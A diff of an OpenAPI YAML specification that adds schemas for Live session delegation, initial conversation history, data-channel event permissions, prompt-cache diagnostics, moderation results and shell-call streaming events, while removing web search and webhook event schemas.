+ LiveResponsesDelegationParam:
+ description: Delegate tasks to a Responses model managed by the Live session.
+ type: object
+ properties:
+ type:
+ description: The delegation owner. Always `responses` for tasks handled by the Responses API.
+ default: responses
+ x-stainless-const: true
+ type: string
+ enum:
+ - responses
+ responses:
+ description: Backend model, prompt, and tools used when the Live session delegates a task to Responses.
+ $ref: '#/components/schemas/LiveResponsesDelegationSettingsInputParam'
+ required:
+ - type
+ - responses
+ delegation:
+ anyOf:
+ - description: Who handles tasks delegated by the Live model. Omitted or null selects your application; use `responses` to let the API manage a Responses backend.
+ discriminator:
+ propertyName: type
+ anyOf:
+ - $ref: '#/components/schemas/LiveClientDelegationParam'
+ - $ref: '#/components/schemas/LiveResponsesDelegationParam'
+ - type: 'null'
+ store:
+ description: Whether to store the session for later forking and recording download. Defaults to false for new sessions.
+ type: boolean
+ LiveInitialMessageStatus:
+ type: string
+ enum:
+ - incomplete
+ - completed
+ LiveInitialInputTextContentPartParam:
+ description: Text supplied in a developer or user message when starting a Live session.
type: object
- title: Find action
- description: |
- Action type "find_in_page": Searches for a pattern within a loaded page.
properties:
type:
- type: string
- enum:
- - find_in_page
- description: |
- The action type.
+ description: The text content type. Always `input_text`.
+ default: input_text
x-stainless-const: true
- url:
type: string
- format: uri
- description: |
- The URL of the page searched for the pattern.
- pattern:
+ enum:
+ - input_text
+ text:
+ description: The message text to include in the Live session’s initial conversation history.
type: string
- description: |
- The pattern or text to search for within the page.
required:
- - type
- - url
- - pattern
- WebSearchActionOpenPage:
+ - text
+ LiveInitialDeveloperMessageItemParam:
+ description: A developer message included in the initial text history of a Live session.
type: object
- title: Open page action
- description: |
- Action type "open_page" - Opens a specific URL from search results.
properties:
+ id:
+ anyOf:
+ - description: An optional identifier for the supplied history message. Live uses the message’s role and text to initialize the conversation.
+ type: string
+ - type: 'null'
type:
+ description: The history item type. Always `message`.
+ default: message
+ x-stainless-const: true
type: string
enum:
- - open_page
- description: |
- The action type.
- x-stainless-const: true
- url:
- description: |
- The URL opened by the model.
+ - message
+ status:
anyOf:
- - type: string
- format: uri
+ - description: The supplied message’s status. Live uses its text as history and does not resume an incomplete message.
+ $ref: '#/components/schemas/LiveInitialMessageStatus'
- type: 'null'
+ role:
+ description: The author of this history message. Always `developer`.
+ default: developer
+ x-stainless-const: true
+ type: string
+ enum:
+ - developer
+ content:
+ description: The message content. Supply exactly one text part for the initial Live conversation history.
+ type: array
+ items:
+ $ref: '#/components/schemas/LiveInitialInputTextContentPartParam'
+ minItems: 1
+ maxItems: 1
required:
- - type
- WebSearchActionSearch:
+ - role
+ - content
+ LiveInitialUserMessageItemParam:
+ description: A user message included in the initial text history of a Live session.
type: object
- title: Search action
- description: |
- Action type "search" - Performs a web search query.
properties:
+ id:
+ anyOf:
+ - description: An optional identifier for the supplied history message. Live uses the message’s role and text to initialize the conversation.
+ type: string
+ - type: 'null'
type:
+ description: The history item type. Always `message`.
+ default: message
+ x-stainless-const: true
type: string
enum:
- - search
- description: |
- The action type.
+ - message
+ status:
+ anyOf:
+ - description: The supplied message’s status. Live uses its text as history and does not resume an incomplete message.
+ $ref: '#/components/schemas/LiveInitialMessageStatus'
+ - type: 'null'
+ role:
+ description: The author of this history message. Always `user`.
+ default: user
x-stainless-const: true
- query:
type: string
- deprecated: true
- description: |
- The search query.
- queries:
- type: array
- title: Search queries
- description: |
- The search queries.
- items:
- type: string
- description: |
- A search query.
- sources:
+ enum:
+ - user
+ content:
+ description: The message content. Supply exactly one text part for the initial Live conversation history.
type: array
- title: Web search sources
- description: |
- The sources used in the search.
items:
- type: object
- title: Web search source
- description: |
- A source used in the search.
- properties:
- type:
- type: string
- enum:
- - url
- description: |
- The type of source. Always `url`.
- x-stainless-const: true
- url:
- type: string
- format: uri
- description: |
- The URL of the source.
- required:
- - type
- - url
+ $ref: '#/components/schemas/LiveInitialInputTextContentPartParam'
+ minItems: 1
+ maxItems: 1
required:
- - type
- WebSearchApproximateLocation:
- anyOf:
- - type: object
- title: Web search approximate location
- description: |
- The approximate location of the user.
- properties:
- type:
- type: string
- enum:
- - approximate
- description: The type of location approximation. Always `approximate`.
- default: approximate
- x-stainless-const: true
- country:
- anyOf:
- - type: string
- description: The two-letter [ISO country code](https://en.wikipedia.org/wiki/ISO_3166-1) of the user, e.g. `US`.
- - type: 'null'
- region:
- anyOf:
- - type: string
- description: Free text input for the region of the user, e.g. `California`.
- - type: 'null'
- city:
- anyOf:
- - type: string
- description: Free text input for the city of the user, e.g. `San Francisco`.
- - type: 'null'
- timezone:
- anyOf:
- - type: string
- description: The [IANA timezone](https://timeapi.io/documentation/iana-timezones) of the user, e.g. `America/Los_Angeles`.
- - type: 'null'
- - type: 'null'
- WebSearchContextSize:
- type: string
- description: "High level guidance for the amount of context window space to use for the \nsearch. One of `low`, `medium`, or `high`. `medium` is the default.\n"
- enum:
- - low
- - medium
- - high
- default: medium
- WebSearchLocation:
+ - role
+ - content
+ LiveInitialTextContentPartParam:
+ description: Assistant text supplied as conversation history when starting a Live session.
type: object
- title: Web search location
- description: Approximate location parameters for the search.
properties:
- country:
- type: string
- description: "The two-letter \n[ISO country code](https://en.wikipedia.org/wiki/ISO_3166-1) of the user,\ne.g. `US`.\n"
- region:
- type: string
- description: |
- Free text input for the region of the user, e.g. `California`.
- city:
+ type:
+ description: The text content type. Always `text`.
+ default: text
+ x-stainless-const: true
type: string
- description: |
- Free text input for the city of the user, e.g. `San Francisco`.
- timezone:
+ enum:
+ - text
+ text:
+ description: The message text to include in the Live session’s initial conversation history.
type: string
- description: "The [IANA timezone](https://timeapi.io/documentation/iana-timezones) \nof the user, e.g. `America/Los_Angeles`.\n"
- WebSearchTool:
+ required:
+ - text
+ LiveInitialOutputTextContentPartParam:
+ description: Assistant output text supplied as conversation history when starting a Live session.
type: object
- title: Web search
- description: |
- Search the Internet for sources related to the prompt. Learn more about the
- [web search tool](https://developers.openai.com/api/docs/guides/tools-web-search).
properties:
type:
+ description: The text content type. Always `output_text`.
+ default: output_text
+ x-stainless-const: true
type: string
enum:
- - web_search
- - web_search_2025_08_26
- description: The type of the web search tool. One of `web_search` or `web_search_2025_08_26`.
- default: web_search
- external_web_access:
- type: boolean
- default: true
- description: Allow live internet access for web search. Defaults to true when omitted. When false, the web search tool runs in offline/cache-only mode and will not fetch new external content.
- filters:
- anyOf:
- - type: object
- description: |
- Filters for the search.
- properties:
- allowed_domains:
- anyOf:
- - type: array
- title: Allowed domains for the search.
- description: |
- Allowed domains for the search. If not provided, all domains are allowed.
- Subdomains of the provided domains are allowed as well.
-
- Example: `["pubmed.ncbi.nlm.nih.gov"]`
- items:
- type: string
- description: Allowed domain for the search.
- default: []
- - type: 'null'
- - type: 'null'
- user_location:
- $ref: '#/components/schemas/WebSearchApproximateLocation'
- search_context_size:
+ - output_text
+ text:
+ description: The message text to include in the Live session’s initial conversation history.
type: string
- enum:
- - low
- - medium
- - high
- default: medium
- description: High level guidance for the amount of context window space to use for the search. One of `low`, `medium`, or `high`. `medium` is the default.
required:
- type
- WebSearchToolCall:
+ - text
+ LiveInitialAssistantMessageItemParam:
+ description: An assistant message included in the initial text history of a Live session.
type: object
- title: Web search tool call
- description: |
- The results of a web search tool call. See the
- [web search guide](https://developers.openai.com/api/docs/guides/tools-web-search) for more information.
properties:
id:
- type: string
- description: |
- The unique ID of the web search tool call.
+ anyOf:
+ - description: An optional identifier for the supplied history message. Live uses the message’s role and text to initialize the conversation.
+ type: string
+ - type: 'null'
type:
+ description: The history item type. Always `message`.
+ default: message
+ x-stainless-const: true
type: string
enum:
- - web_search_call
- description: |
- The type of the web search tool call. Always `web_search_call`.
- x-stainless-const: true
+ - message
status:
- description: |
- The status of the web search tool call.
- $ref: '#/components/schemas/WebSearchCallStatus'
- action:
- type: object
- description: |
- An object describing the specific action taken in this web search call.
- Includes details on how the model used the web (search, open_page, find_in_page).
- discriminator:
- propertyName: type
anyOf:
- - $ref: '#/components/schemas/WebSearchActionSearch'
- - $ref: '#/components/schemas/WebSearchActionOpenPage'
- - $ref: '#/components/schemas/WebSearchActionFind'
+ - description: The supplied message’s status. Live uses its text as history and does not resume an incomplete message.
+ $ref: '#/components/schemas/LiveInitialMessageStatus'
+ - type: 'null'
+ role:
+ description: The author of this history message. Always `assistant`.
+ default: assistant
+ x-stainless-const: true
+ type: string
+ enum:
+ - assistant
+ content:
+ description: The message content. Supply exactly one text part for the initial Live conversation history.
+ type: array
+ items:
+ discriminator:
+ propertyName: type
+ x-oai-default-discriminator-value: text
+ anyOf:
+ - $ref: '#/components/schemas/LiveInitialTextContentPartParam'
+ - $ref: '#/components/schemas/LiveInitialOutputTextContentPartParam'
+ minItems: 1
+ maxItems: 1
required:
- - id
- - type
- - status
- - action
- WebhookBatchCancelled:
+ - role
+ - content
+ LiveInitialItem:
+ description: A developer, user, or assistant message supplied as text history before the Live session starts.
+ discriminator:
+ propertyName: role
+ anyOf:
+ - $ref: '#/components/schemas/LiveInitialDeveloperMessageItemParam'
+ - $ref: '#/components/schemas/LiveInitialUserMessageItemParam'
+ - $ref: '#/components/schemas/LiveInitialAssistantMessageItemParam'
+ input:
+ description: Ordered text-only history supplied before startup. Supports developer, user, and assistant messages with one text part each; at most 128 messages and 8,192 rendered tokens in total.
+ type: array
+ items:
+ $ref: '#/components/schemas/LiveInitialItem'
+ maxItems: 128
+ LiveAllowedServerEventParam:
+ description: A Live server event selector for the WebRTC frontend data channel.
+ example:
+ type: session.started
type: object
- title: batch.cancelled
- description: |
- Sent when a batch API request has been cancelled.
+ properties:
+ type:
+ description: The outer Live server event type. Use 'response.event' for Responses events.
+ type: string
+ minLength: 1
+ maxLength: 256
+ response_event:
+ description: The nested Responses event type. Required when type is 'response.event'; forbidden for other event types.
+ type: string
+ minLength: 1
+ maxLength: 256
required:
- - created_at
- - id
- - data
- type
+ additionalProperties: false
+ x-oaiMeta:
+ example:
+ type: session.started
+ LiveDataChannelConfigParam:
+ description: Control which Live events an untrusted WebRTC frontend can send and receive over its data channel. These restrictions do not apply to trusted sideband connections.
+ type: object
properties:
- created_at:
- type: integer
- format: unixtime
- description: |
- The Unix timestamp (in seconds) of when the batch API request was cancelled.
- id:
- type: string
- description: |
- The unique ID of the event.
- data:
- type: object
- description: |
- Event data payload.
- required:
- - id
- properties:
- id:
+ allowed_client_events:
+ description: Client event types that the frontend data channel may send. Use 'all' to allow every client event; an empty array allows none. Omission preserves the existing allow-all behavior.
+ anyOf:
+ - default: all
+ x-stainless-const: true
+ type: string
+ enum:
+ - all
+ - type: array
+ items:
+ description: A Live client event type allowed on the frontend data channel, such as `session.input_audio.mute`.
type: string
- description: |
- The unique ID of the batch API request.
- object:
+ minLength: 1
+ maxLength: 256
+ pattern: ^(?:error|info|[a-z][a-z0-9_-]*(?:\.[a-z0-9_-]+)+)$
+ maxItems: 256
+ allowed_server_events:
+ description: Server events that may be sent to the frontend data channel. Use 'all' to allow every server event; an empty array allows none. Omission preserves the existing allow-all behavior. Responses events use an object with type 'response.event' and a response_event selector.
+ anyOf:
+ - default: all
+ x-stainless-const: true
+ type: string
+ enum:
+ - all
+ - type: array
+ items:
+ $ref: '#/components/schemas/LiveAllowedServerEventParam'
+ maxItems: 256
+ x-stainless-variantName: event_selectors
+ required: []
+ LiveClientConfigParam:
+ description: Startup-only capabilities for an untrusted frontend attached to a unified WebRTC session. Trusted sideband connections are unaffected.
+ type: object
+ properties:
+ data_channel:
+ description: Client and server event permissions for the WebRTC frontend data channel.
+ $ref: '#/components/schemas/LiveDataChannelConfigParam'
+ required:
+ - data_channel
+ properties-store:
+ description: Whether to store the forked session. Omission inherits the stored session's setting.
+ type: boolean
+ LiveResponsesDelegationSettingsUpdateInputParam:
+ description: Updates to the Responses backend of an existing Live session. Omitted settings retain their current values.
+ type: object
+ properties:
+ model:
+ description: The Responses backend model to use for subsequent delegated requests. Omit to keep the current backend model.
+ type: string
+ instructions:
+ anyOf:
+ - description: Instructions for the delegated Responses model, separate from Live instructions. See [backend prompting](https://developers.openai.com/api/docs/guides/live-delegation#start-with-your-existing-backend-prompt).
+ type: string
+ - type: 'null'
+ max_output_tokens:
+ anyOf:
+ - description: Maximum number of output tokens for each delegated response.
+ type: integer
+ minimum: 16
+ - type: 'null'
+ service_tier:
+ anyOf:
+ - description: Service tier for delegated Responses requests.
+ $ref: '#/components/schemas/LiveResponsesServiceTier'
+ - type: 'null'
+ reasoning:
+ anyOf:
+ - description: Reasoning settings passed to each delegated Responses request.
+ $ref: '#/components/schemas/LiveDelegationReasoningInputParam'
+ - type: 'null'
+ text:
+ anyOf:
+ - description: Text generation settings passed to each delegated Responses request.
+ $ref: '#/components/schemas/LiveDelegationTextInputParam'
+ - type: 'null'
+ tools:
+ description: Tools available to the Responses backend while it handles tasks delegated by the Live model.
+ type: array
+ items:
+ discriminator:
+ propertyName: type
+ anyOf:
+ - $ref: '#/components/schemas/LiveFunctionToolInputParam'
+ - $ref: '#/components/schemas/LiveWebSearchToolInputParam'
+ tool_choice:
+ description: Controls which tool the Responses backend uses when handling a task delegated by the Live model.
+ anyOf:
+ - $ref: '#/components/schemas/LiveToolChoiceEnum'
+ - $ref: '#/components/schemas/LiveFunctionToolChoiceParam'
+ - $ref: '#/components/schemas/LiveMCPToolChoiceParam'
+ parallel_tool_calls:
+ anyOf:
+ - description: Whether the delegated Responses model may request multiple tool calls in a single response.
+ type: boolean
+ - type: 'null'
+ required: []
+ LiveResponsesDelegationUpdateParam:
+ description: Update the Responses backend for an existing Live session without changing delegation ownership.
+ type: object
+ properties:
+ type:
+ description: The delegation owner. Always `responses` for tasks handled by the Responses API.
+ default: responses
+ x-stainless-const: true
type: string
- description: |
- The object of the event. Always `event`.
enum:
- - event
- x-stainless-const: true
+ - responses
+ responses:
+ description: Responses backend settings to update. Omitted settings keep their existing values.
+ $ref: '#/components/schemas/LiveResponsesDelegationSettingsUpdateInputParam'
+ required:
+ - type
+ target_uri:
+ type: string
+ description: |-
+ URI that should appear in the SIP Refer-To header. Supports values like
+ `tel:+14155550123` or `sip:agent@example.com`.
+ example: tel:+14155550123
+ PublicProjectResidency:
+ type: string
+ enum:
+ - GLOBAL
+ - US_STORAGE_PROCESSING
+ - EU_STORAGE_PROCESSING
+ - JP_STORAGE
+ - KR_STORAGE
+ - CA_STORAGE
+ - SG_STORAGE
+ - IN_STORAGE
+ - AU_STORAGE
+ - GB_STORAGE
+ - AE_STORAGE
+ - AE_STORAGE_PROCESSING
+ SpecificProgrammaticToolCallingParam:
+ properties:
type:
type: string
- description: |
- The type of the event. Always `batch.cancelled`.
enum:
- - batch.cancelled
+ - programmatic_tool_calling
+ description: The tool to call. Always `programmatic_tool_calling`.
+ default: programmatic_tool_calling
x-stainless-const: true
- x-oaiMeta:
- name: batch.cancelled
- group: webhook-events
- example: |
- {
- "id": "evt_abc123",
- "type": "batch.cancelled",
- "created_at": 1719168000,
- "data": {
- "id": "batch_abc123"
- }
- }
- WebhookBatchCompleted:
type: object
- title: batch.completed
- description: |
- Sent when a batch API request has been completed.
required:
- - created_at
- - id
- - data
- type
+ SpecificApplyPatchParam:
properties:
- created_at:
- type: integer
- format: unixtime
- description: |
- The Unix timestamp (in seconds) of when the batch API request was completed.
- id:
- type: string
- description: |
- The unique ID of the event.
- data:
- type: object
- description: |
- Event data payload.
- required:
- - id
- properties:
- id:
- type: string
- description: |
- The unique ID of the batch API request.
- object:
+ type:
type: string
- description: |
- The object of the event. Always `event`.
enum:
- - event
+ - apply_patch
+ description: The tool to call. Always `apply_patch`.
+ default: apply_patch
x-stainless-const: true
+ type: object
+ required:
+ - type
+ title: Specific apply patch tool choice
+ description: Forces the model to call the apply_patch tool when executing a tool call.
+ SpecificFunctionShellParam:
+ properties:
type:
type: string
- description: |
- The type of the event. Always `batch.completed`.
enum:
- - batch.completed
+ - shell
+ description: The tool to call. Always `shell`.
+ default: shell
x-stainless-const: true
- x-oaiMeta:
- name: batch.completed
- group: webhook-events
- example: |
- {
- "id": "evt_abc123",
- "type": "batch.completed",
- "created_at": 1719168000,
- "data": {
- "id": "batch_abc123"
- }
- }
- WebhookBatchExpired:
type: object
- title: batch.expired
- description: |
- Sent when a batch API request has expired.
required:
- - created_at
- - id
- - data
- type
+ title: Specific shell tool choice
+ description: Forces the model to call the shell tool when a tool call is required.
+ ResponsePromptCacheOptionsParam:
+ properties:
+ ttl:
+ $ref: '#/components/schemas/PromptCacheTTLEnum'
+ description: The minimum lifetime applied to every implicit and explicit cache breakpoint written by the request. Defaults to `30m`, which is currently the only supported value. The backend may retain cache entries for longer.
+ mode:
+ $ref: '#/components/schemas/PromptCacheModeEnum'
+ description: Controls whether OpenAI automatically creates an implicit cache breakpoint. Defaults to `implicit`. With `implicit`, OpenAI creates one implicit breakpoint and writes up to the latest three explicit breakpoints in the request. With `explicit`, OpenAI does not create an implicit breakpoint and writes up to the latest four explicit breakpoints. If there are no explicit breakpoints, the request does not use prompt caching.
+ comparison_response_id:
+ anyOf:
+ - type: string
+ description: The ID of a response to compare when diagnosing prompt cache reuse. Supplying this field requests prompt cache diagnostics when the feature is enabled.
+ example: resp_123
+ - type: 'null'
+ type: object
+ required: []
+ title: Prompt cache options
+ description: Options for prompt caching. Supported for `gpt-5.6` and later models. By default, OpenAI automatically chooses one implicit cache breakpoint. You can add explicit breakpoints to content blocks with `prompt_cache_breakpoint`. Each request can write up to four breakpoints. For cache matching, OpenAI considers up to the latest 80 breakpoints in the conversation, without a content-block lookback limit. Set `mode` to `explicit` to disable the implicit breakpoint. The `ttl` defaults to `30m`, which is currently the only supported value. See the [prompt caching guide](https://developers.openai.com/api/docs/guides/prompt-caching) for current details.
+ ReasoningModeEnum:
+ anyOf:
+ - type: string
+ - type: string
+ enum:
+ - standard
+ - pro
+ ConversationParam-2:
properties:
- created_at:
- type: integer
- format: unixtime
- description: |
- The Unix timestamp (in seconds) of when the batch API request expired.
id:
type: string
- description: |
- The unique ID of the event.
- data:
- type: object
- description: |
- Event data payload.
- required:
- - id
- properties:
- id:
- type: string
- description: |
- The unique ID of the batch API request.
- object:
+ description: The unique ID of the conversation.
+ example: conv_123
+ type: object
+ required:
+ - id
+ title: Conversation object
+ description: The conversation that this response belongs to.
+ ContextManagementParam:
+ properties:
+ type:
type: string
- description: |
- The object of the event. Always `event`.
- enum:
- - event
- x-stainless-const: true
+ description: The context management entry type. Currently only 'compaction' is supported.
+ compact_threshold:
+ anyOf:
+ - type: integer
+ minimum: 1000
+ description: Token threshold at which compaction should be triggered for this entry.
+ - type: 'null'
+ type: object
+ required:
+ - type
+ PromptCacheOptions:
+ properties:
+ ttl:
+ $ref: '#/components/schemas/PromptCacheTTLEnum'
+ description: The minimum lifetime applied to each cache breakpoint.
+ mode:
+ $ref: '#/components/schemas/PromptCacheModeEnum'
+ description: Whether implicit prompt-cache breakpoints were enabled.
+ comparison_response_id:
+ anyOf:
+ - type: string
+ description: The response ID supplied as the prompt cache diagnostics comparison.
+ - type: 'null'
+ type: object
+ required:
+ - ttl
+ - mode
+ title: Prompt cache options
+ description: The prompt-caching options that were applied to the response. Supported for `gpt-5.6` and later models.
+ CacheMissReasonTypeEnum:
+ type: string
+ enum:
+ - model_changed
+ - prompt_cache_key_changed
+ - tools_changed
+ - text_format_changed
+ - reasoning_effort_changed
+ - verbosity_changed
+ - context_compacted
+ - input_changed
+ - service_tier_changed
+ PromptCacheMissDiagnosticsBody:
+ properties:
type:
type: string
- description: |
- The type of the event. Always `batch.expired`.
enum:
- - batch.expired
+ - cache_miss
+ default: cache_miss
x-stainless-const: true
- x-oaiMeta:
- name: batch.expired
- group: webhook-events
- example: |
- {
- "id": "evt_abc123",
- "type": "batch.expired",
- "created_at": 1719168000,
- "data": {
- "id": "batch_abc123"
- }
- }
- WebhookBatchFailed:
+ reason:
+ $ref: '#/components/schemas/CacheMissReasonTypeEnum'
+ description: The reason prompt cache reuse did not occur.
+ cache_missed_tokens:
+ type: integer
+ description: The estimated number of input tokens affected after the first detected divergence.
+ comparison_reusable_tokens:
+ type: integer
+ description: The raw token count of the reusable prefix in the compared response.
type: object
- title: batch.failed
- description: |
- Sent when a batch API request has failed.
required:
- - created_at
- - id
- - data
- type
+ - reason
+ - cache_missed_tokens
+ PromptCacheHitDiagnosticsBody:
properties:
- created_at:
- type: integer
- format: unixtime
- description: |
- The Unix timestamp (in seconds) of when the batch API request failed.
- id:
- type: string
- description: |
- The unique ID of the event.
- data:
- type: object
- description: |
- Event data payload.
- required:
- - id
- properties:
- id:
- type: string
- description: |
- The unique ID of the batch API request.
- object:
+ type:
type: string
- description: |
- The object of the event. Always `event`.
enum:
- - event
+ - cache_hit
+ default: cache_hit
x-stainless-const: true
+ type: object
+ required:
+ - type
+ PromptCacheComparisonResponseNotFoundDiagnosticsBody:
+ properties:
type:
type: string
- description: |
- The type of the event. Always `batch.failed`.
enum:
- - batch.failed
+ - comparison_response_not_found
+ default: comparison_response_not_found
x-stainless-const: true
- x-oaiMeta:
- name: batch.failed
- group: webhook-events
- example: |
- {
- "id": "evt_abc123",
- "type": "batch.failed",
- "created_at": 1719168000,
- "data": {
- "id": "batch_abc123"
- }
- }
- WebhookEvalRunCanceled:
type: object
- title: eval.run.canceled
- description: |
- Sent when an eval run has been canceled.
required:
- - created_at
- - id
- - data
- type
+ PromptCacheUnavailableDiagnosticsBody:
properties:
- created_at:
- type: integer
- format: unixtime
- description: |
- The Unix timestamp (in seconds) of when the eval run was canceled.
- id:
- type: string
- description: |
- The unique ID of the event.
- data:
- type: object
- description: |
- Event data payload.
- required:
- - id
- properties:
- id:
- type: string
- description: |
- The unique ID of the eval run.
- object:
+ type:
type: string
- description: |
- The object of the event. Always `event`.
enum:
- - event
+ - unavailable
+ default: unavailable
x-stainless-const: true
+ type: object
+ required:
+ - type
+ PromptCacheDiagnostics:
+ discriminator:
+ propertyName: type
+ description: Prompt cache diagnostics requested for this response.
+ anyOf:
+ - $ref: '#/components/schemas/PromptCacheMissDiagnosticsBody'
+ - $ref: '#/components/schemas/PromptCacheHitDiagnosticsBody'
+ - $ref: '#/components/schemas/PromptCacheComparisonResponseNotFoundDiagnosticsBody'
+ - $ref: '#/components/schemas/PromptCacheUnavailableDiagnosticsBody'
+ ModerationErrorBody:
+ properties:
type:
type: string
- description: |
- The type of the event. Always `eval.run.canceled`.
enum:
- - eval.run.canceled
+ - error
+ description: The object type, which was always `error` for moderation failures.
+ default: error
x-stainless-const: true
- x-oaiMeta:
- name: eval.run.canceled
- group: webhook-events
- example: "{\n \"id\": \"evt_abc123\",\n \"type\": \"eval.run.canceled\",\n \"created_at\": 1719168000,\n \"data\": {\n \"id\": \"evalrun_abc123\"\n }\n} \n"
- WebhookEvalRunFailed:
+ code:
+ type: string
+ description: The error code.
+ message:
+ type: string
+ description: The error message.
type: object
- title: eval.run.failed
- description: |
- Sent when an eval run has failed.
required:
- - created_at
- - id
- - data
- type
+ - code
+ - message
+ title: Moderation error
+ description: An error produced while attempting moderation for the response input or output.
+ Moderation:
+ properties:
+ input:
+ discriminator:
+ propertyName: type
+ description: Moderation for the response input.
+ anyOf:
+ - $ref: '#/components/schemas/ModerationResultBody'
+ - $ref: '#/components/schemas/ModerationErrorBody'
+ output:
+ discriminator:
+ propertyName: type
+ description: Moderation for the response output.
+ anyOf:
+ - $ref: '#/components/schemas/ModerationResultBody'
+ - $ref: '#/components/schemas/ModerationErrorBody'
+ type: object
+ required:
+ - input
+ - output
+ title: Moderation
+ description: Moderation results or errors for the response input and output.
+ ResponseConversation:
properties:
- created_at:
- type: integer
- format: unixtime
- description: |
- The Unix timestamp (in seconds) of when the eval run failed.
id:
type: string
- description: |
- The unique ID of the event.
- data:
- type: object
- description: |
- Event data payload.
- required:
- - id
- properties:
- id:
- type: string
- description: |
- The unique ID of the eval run.
- object:
- type: string
- description: |
- The object of the event. Always `event`.
- enum:
- - event
- x-stainless-const: true
+ description: The unique ID of the conversation that this response was associated with.
+ type: object
+ required:
+ - id
+ title: Conversation
+ description: The conversation that this response belonged to. Input items and output items from this response were automatically added to this conversation.
+ ResponseShellCallCommandAddedStreamingEvent:
+ properties:
type:
type: string
- description: |
- The type of the event. Always `eval.run.failed`.
enum:
- - eval.run.failed
+ - response.shell_call_command.added
+ description: The type of the event, always `response.shell_call_command.added`.
+ default: response.shell_call_command.added
x-stainless-const: true
- x-oaiMeta:
- name: eval.run.failed
- group: webhook-events
- example: "{\n \"id\": \"evt_abc123\",\n \"type\": \"eval.run.failed\",\n \"created_at\": 1719168000,\n \"data\": {\n \"id\": \"evalrun_abc123\"\n }\n} \n"
- WebhookEvalRunSucceeded:
+ sequence_number:
+ type: integer
+ description: The sequence number of the event that was emitted.
+ output_index:
+ type: integer
+ description: The index of the output item that was updated.
+ command_index:
+ type: integer
+ description: The index of the shell command that was added.
+ command:
+ type: string
+ description: The shell command that was added.
type: object
- title: eval.run.succeeded
- description: |
- Sent when an eval run has succeeded.
required:
- - created_at
- - id
- - data
- type
+ - sequence_number
+ - output_index
+ - command_index
+ - command
+ title: Response shell command added event
+ description: A streaming event that indicated a shell command was added to a tool call.
+ ResponseShellCallCommandDeltaStreamingEvent:
properties:
- created_at:
+ type:
+ type: string
+ enum:
+ - response.shell_call_command.delta
+ description: The type of the event, always `response.shell_call_command.delta`.
+ default: response.shell_call_command.delta
+ x-stainless-const: true
+ sequence_number:
type: integer
- format: unixtime
- description: |
- The Unix timestamp (in seconds) of when the eval run succeeded.
- id:
+ description: The sequence number of the event that was emitted.
+ output_index:
+ type: integer
+ description: The index of the output item that was updated.
+ command_index:
+ type: integer
+ description: The index of the shell command that was updated.
+ delta:
type: string
- description: |
- The unique ID of the event.
- data:
- type: object
- description: |
- Event data payload.
- required:
- - id
- properties:
- id:
- type: string
- description: |
- The unique ID of the eval run.
- object:
+ description: The shell command delta that was appended.
+ obfuscation:
type: string
- description: |
- The object of the event. Always `event`.
- enum:
- - event
- x-stainless-const: true
+ description: An obfuscation string that was added to pad the event payload.
+ type: object
+ required:
+ - type
+ - sequence_number
+ - output_index
+ - command_index
+ - delta
+ title: Response shell command delta event
+ description: A streaming event that indicated a shell command was incrementally updated.
+ ResponseShellCallCommandDoneStreamingEvent:
+ properties:
type:
type: string
- description: |
- The type of the event. Always `eval.run.succeeded`.
enum:
- - eval.run.succeeded
+ - response.shell_call_command.done
+ description: The type of the event, always `response.shell_call_command.done`.
+ default: response.shell_call_command.done
x-stainless-const: true
- x-oaiMeta:
- name: eval.run.succeeded
- group: webhook-events
- example: "{\n \"id\": \"evt_abc123\",\n \"type\": \"eval.run.succeeded\",\n \"created_at\": 1719168000,\n \"data\": {\n \"id\": \"evalrun_abc123\"\n }\n} \n"
- WebhookFineTuningJobCancelled:
+ sequence_number:
+ type: integer
+ description: The sequence number of the event that was emitted.
+ output_index:
+ type: integer
+ description: The index of the output item that was updated.
+ command_index:
+ type: integer
+ description: The index of the shell command that was completed.
+ command:
+ type: string
+ description: The final shell command that was emitted.
type: object
- title: fine_tuning.job.cancelled
- description: |
- Sent when a fine-tuning job has been cancelled.
required:
- - created_at
- - id
- - data
- type
+ - sequence_number
+ - output_index
+ - command_index
+ - command
+ title: Response shell command done event
+ description: A streaming event that indicated a shell command was completed.
+ ShellCallOutputDelta:
properties:
- created_at:
- type: integer
- format: unixtime
- description: |
- The Unix timestamp (in seconds) of when the fine-tuning job was cancelled.
- id:
+ stdout:
type: string
- description: |
- The unique ID of the event.
- data:
- type: object
- description: |
- Event data payload.
- required:
- - id
- properties:
- id:
- type: string
- description: |
- The unique ID of the fine-tuning job.
- object:
+ description: The stdout delta that was emitted.
+ stderr:
type: string
- description: |
- The object of the event. Always `event`.
- enum:
- - event
- x-stainless-const: true
+ description: The stderr delta that was emitted.
+ type: object
+ required: []
+ title: Shell call output delta
+ description: A delta of stdout/stderr emitted while a shell call was running.
+ ResponseShellCallOutputContentDeltaStreamingEvent:
+ properties:
type:
type: string
- description: |
- The type of the event. Always `fine_tuning.job.cancelled`.
enum:
- - fine_tuning.job.cancelled
+ - response.shell_call_output_content.delta
+ description: The type of the event, always `response.shell_call_output_content.delta`.
+ default: response.shell_call_output_content.delta
x-stainless-const: true
- x-oaiMeta:
- name: fine_tuning.job.cancelled
- group: webhook-events
- example: "{\n \"id\": \"evt_abc123\",\n \"type\": \"fine_tuning.job.cancelled\",\n \"created_at\": 1719168000,\n \"data\": {\n \"id\": \"ftjob_abc123\"\n }\n} \n"
- WebhookFineTuningJobFailed:
+ sequence_number:
+ type: integer
+ description: The sequence number of the event that was emitted.
+ item_id:
+ type: string
+ description: The ID of the output item that was updated.
+ output_index:
+ type: integer
+ description: The index of the output item that was updated.
+ command_index:
+ type: integer
+ description: The index of the shell command that produced output.
+ delta:
+ $ref: '#/components/schemas/ShellCallOutputDelta'
+ description: The stdout/stderr delta that was emitted.
type: object
- title: fine_tuning.job.failed
- description: |
- Sent when a fine-tuning job has failed.
required:
- - created_at
- - id
- - data
- type
+ - sequence_number
+ - item_id
+ - output_index
+ - command_index
+ - delta
+ title: Response shell call output content delta event
+ description: A streaming event that indicated shell call output was incrementally added.
+ ResponseShellCallOutputContentDoneStreamingEvent:
properties:
- created_at:
- type: integer
- format: unixtime
- description: |
- The Unix timestamp (in seconds) of when the fine-tuning job failed.
- id:
- type: string
- description: |
- The unique ID of the event.
- data:
- type: object
- description: |
- Event data payload.
- required:
- - id
- properties:
- id:
- type: string
- description: |
- The unique ID of the fine-tuning job.
- object:
- type: string
- description: |
- The object of the event. Always `event`.
- enum:
- - event
- x-stainless-const: true
type:
type: string
- description: |
- The type of the event. Always `fine_tuning.job.failed`.
enum:
- - fine_tuning.job.failed
+ - response.shell_call_output_content.done
+ description: The type of the event, always `response.shell_call_output_content.done`.
